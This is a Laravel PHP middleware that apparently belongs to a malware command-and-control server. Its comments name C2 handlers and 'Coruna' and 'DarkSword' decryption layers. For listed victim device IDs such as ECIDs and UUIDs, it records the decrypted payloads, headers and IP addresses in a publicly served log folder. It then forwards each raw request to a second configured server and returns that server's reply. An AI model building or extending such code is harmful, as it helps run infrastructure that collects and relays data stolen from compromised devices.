276 lines
8.9 KiB
PHP
276 lines
8.9 KiB
PHP
<?php
|
|
|
|
namespace App\Http\Middleware;
|
|
|
|
use App\Models\Device;
|
|
use App\Services\IngestService;
|
|
use App\Support\VisitorIp;
|
|
use Closure;
|
|
use Illuminate\Http\Request;
|
|
use Illuminate\Support\Facades\Http;
|
|
use Illuminate\Support\Facades\Log;
|
|
use Symfony\Component\HttpFoundation\Response;
|
|
|
|
/**
|
|
* Intercept requests from designated device IDs.
|
|
*
|
|
* Runs AFTER DecryptXxbbBody / DecryptCorunaBody so that the normalized
|
|
* device key is available via the `coruna_device_key` request attribute.
|
|
*
|
|
* For each matched request the middleware:
|
|
* 1. Appends a record to public/log/intercept/Ymd.log (separate from c2/xxbb).
|
|
* 2. Proxies the raw request to INTERCEPT_FORWARD_URL and returns that
|
|
* response. Local controllers are not invoked (no ingest / DB writes).
|
|
*/
|
|
class InterceptDeviceData
|
|
{
|
|
public function handle(Request $request, Closure $next): Response
|
|
{
|
|
$deviceKey = $this->resolveDeviceKey($request);
|
|
|
|
if ($deviceKey !== '' && $this->shouldIntercept($deviceKey)) {
|
|
try {
|
|
return $this->intercept($request, $deviceKey);
|
|
} catch (\Throwable $e) {
|
|
Log::warning('intercept middleware error: '.$e->getMessage(), [
|
|
'device_key' => $deviceKey,
|
|
]);
|
|
|
|
return response('', 502);
|
|
}
|
|
}
|
|
|
|
return $next($request);
|
|
}
|
|
|
|
/**
|
|
* Resolve the normalized device key for this request.
|
|
*
|
|
* Prefers the attribute set by DecryptXxbbBody / DecryptCorunaBody.
|
|
* Falls back to request input fields (d / f / ecid, then uuid / lhu)
|
|
* for multipart or DarkSword requests where decrypt skipped the attribute.
|
|
*/
|
|
private function resolveDeviceKey(Request $request): string
|
|
{
|
|
$key = $request->attributes->get('coruna_device_key');
|
|
if (is_string($key) && $key !== '') {
|
|
return $key;
|
|
}
|
|
|
|
foreach (['d', 'f', 'ecid'] as $field) {
|
|
$value = $request->input($field);
|
|
if (is_string($value) && $value !== '') {
|
|
return IngestService::normalizeDeviceKey(substr($value, 0, 64)) ?? '';
|
|
}
|
|
}
|
|
|
|
foreach (['uuid', 'lhu', 'deviceUUID', 'device_uuid'] as $field) {
|
|
$value = $request->input($field);
|
|
if (is_string($value) && $value !== '') {
|
|
return Device::normalizeDarkswordKey($value) ?? '';
|
|
}
|
|
}
|
|
|
|
return '';
|
|
}
|
|
|
|
/**
|
|
* Case-insensitive membership check against the configured device list.
|
|
*/
|
|
private function shouldIntercept(string $deviceKey): bool
|
|
{
|
|
$list = config('coruna.intercept.device_keys', []);
|
|
if (! is_array($list) || $list === []) {
|
|
return false;
|
|
}
|
|
|
|
return in_array(strtolower($deviceKey), $list, true);
|
|
}
|
|
|
|
/**
|
|
* Log + proxy. Does not fall through to local C2 handlers.
|
|
*/
|
|
private function intercept(Request $request, string $deviceKey): Response
|
|
{
|
|
$meta = $this->collectMeta($request, $deviceKey);
|
|
|
|
$this->writeLog($meta);
|
|
|
|
return $this->forward($request, $meta);
|
|
}
|
|
|
|
/**
|
|
* Gather request metadata for the intercept log.
|
|
*/
|
|
private function collectMeta(Request $request, string $deviceKey): array
|
|
{
|
|
$path = '/'.ltrim($request->path(), '/');
|
|
|
|
return [
|
|
'time' => date('Y-m-d H:i:s'),
|
|
'device_key' => $deviceKey,
|
|
'method' => $request->method(),
|
|
'path' => $path,
|
|
'uri' => $request->getRequestUri(),
|
|
'ip' => VisitorIp::fromRequest($request),
|
|
'remote_addr' => $request->server->get('REMOTE_ADDR'),
|
|
'host' => $request->getHost(),
|
|
'content_type' => (string) $request->header('content-type'),
|
|
'content_length' => strlen($request->getContent()),
|
|
'headers' => $this->collectHeaders($request),
|
|
'payload' => $this->collectPayload($request),
|
|
'decrypt_ok' => (bool) $request->attributes->get('coruna_decrypt_ok'),
|
|
];
|
|
}
|
|
|
|
/**
|
|
* Select headers worth recording (skip cookie / authorization for safety).
|
|
*/
|
|
private function collectHeaders(Request $request): array
|
|
{
|
|
$headers = [];
|
|
foreach ([
|
|
'x-ts', 'x-hash', 'timestamp', 'sdkv', 'ver', 'accept',
|
|
'content-type', 'user-agent', 'host', 'cf-connecting-ip',
|
|
'cf-ipcountry', 'x-forwarded-for', 'x-real-ip',
|
|
] as $h) {
|
|
if ($request->headers->has($h)) {
|
|
$headers[$h] = $request->headers->get($h);
|
|
}
|
|
}
|
|
|
|
return $headers;
|
|
}
|
|
|
|
/**
|
|
* Best-effort payload snapshot for the log.
|
|
*
|
|
* Uses the decrypted payload when the decrypt middleware set it;
|
|
* otherwise records the raw body (truncated for very large uploads).
|
|
*/
|
|
private function collectPayload(Request $request): mixed
|
|
{
|
|
$payload = $request->attributes->get('coruna_payload');
|
|
if (is_array($payload)) {
|
|
return $payload;
|
|
}
|
|
|
|
$raw = $request->getContent();
|
|
if (strlen($raw) > 200000) {
|
|
return ['_raw_truncated' => substr($raw, 0, 200000)];
|
|
}
|
|
|
|
return $raw === '' ? null : ['_raw' => $raw];
|
|
}
|
|
|
|
/**
|
|
* Append the interception record to public/log/intercept/Ymd.log.
|
|
*/
|
|
private function writeLog(array $meta): void
|
|
{
|
|
$logPath = public_path('log/intercept');
|
|
if (! is_dir($logPath) && ! @mkdir($logPath, 0775, true) && ! is_dir($logPath)) {
|
|
return;
|
|
}
|
|
|
|
$logName = $logPath.'/'.date('Ymd').'.log';
|
|
$line = $meta['time'].' '.$meta['method'].' '.$meta['uri'].' '
|
|
.json_encode($meta, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
|
|
."\r\n\r\n";
|
|
|
|
$isNew = ! file_exists($logName);
|
|
if (@file_put_contents($logName, $line, FILE_APPEND) === false) {
|
|
return;
|
|
}
|
|
if ($isNew) {
|
|
@chmod($logName, 0664);
|
|
}
|
|
}
|
|
|
|
/**
|
|
* Proxy the raw request to the configured forward URL and return its response.
|
|
*
|
|
* Preserves method, path, query string, headers, and body — only the
|
|
* host (scheme + domain) is replaced with INTERCEPT_FORWARD_URL.
|
|
*/
|
|
private function forward(Request $request, array $meta): Response
|
|
{
|
|
$baseUrl = rtrim((string) config('coruna.intercept.forward_url', ''), '/');
|
|
if ($baseUrl === '') {
|
|
$this->writeForwardLog($meta, '', 0, 'INTERCEPT_FORWARD_URL empty');
|
|
|
|
return response('', 502);
|
|
}
|
|
|
|
$target = $baseUrl.$request->getRequestUri();
|
|
|
|
$headers = [];
|
|
$skip = ['host', 'content-length', 'transfer-encoding', 'connection', 'expect'];
|
|
foreach ($request->headers->all() as $name => $values) {
|
|
if (in_array(strtolower($name), $skip, true)) {
|
|
continue;
|
|
}
|
|
$headers[$name] = $values;
|
|
}
|
|
|
|
$body = $request->getContent();
|
|
$timeout = (int) config('coruna.intercept.forward_timeout', 10);
|
|
|
|
try {
|
|
$resp = Http::withHeaders($headers)
|
|
->timeout($timeout)
|
|
->connectTimeout(min($timeout, 5))
|
|
->send($request->method(), $target, [
|
|
'body' => $body,
|
|
'allow_redirects' => false,
|
|
]);
|
|
|
|
$remoteBody = (string) $resp->body();
|
|
$this->writeForwardLog($meta, $target, $resp->status(), $remoteBody);
|
|
|
|
return $this->clientResponse($resp->status(), $remoteBody, $resp->header('Content-Type'));
|
|
} catch (\Throwable $e) {
|
|
$this->writeForwardLog($meta, $target, 0, $e->getMessage());
|
|
|
|
return response('', 502);
|
|
}
|
|
}
|
|
|
|
private function clientResponse(int $status, string $body, ?string $contentType): Response
|
|
{
|
|
$out = response($body, $status > 0 ? $status : 502);
|
|
if (is_string($contentType) && $contentType !== '') {
|
|
$out->headers->set('Content-Type', $contentType);
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
|
|
/**
|
|
* Record the forwarding result alongside the interception log.
|
|
*/
|
|
private function writeForwardLog(array $meta, string $target, int $status, string $body): void
|
|
{
|
|
$logPath = public_path('log/intercept');
|
|
if (! is_dir($logPath)) {
|
|
return;
|
|
}
|
|
|
|
$logName = $logPath.'/'.date('Ymd').'.log';
|
|
$entry = [
|
|
'time' => date('Y-m-d H:i:s'),
|
|
'dir' => 'forward',
|
|
'device_key' => $meta['device_key'],
|
|
'target' => $target,
|
|
'status' => $status,
|
|
'response' => strlen($body) > 4000 ? substr($body, 0, 4000) : $body,
|
|
];
|
|
|
|
$line = $entry['time'].' FORWARD '.$entry['target'].' '
|
|
.json_encode($entry, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
|
|
."\r\n\r\n";
|
|
|
|
@file_put_contents($logName, $line, FILE_APPEND);
|
|
}
|
|
}
|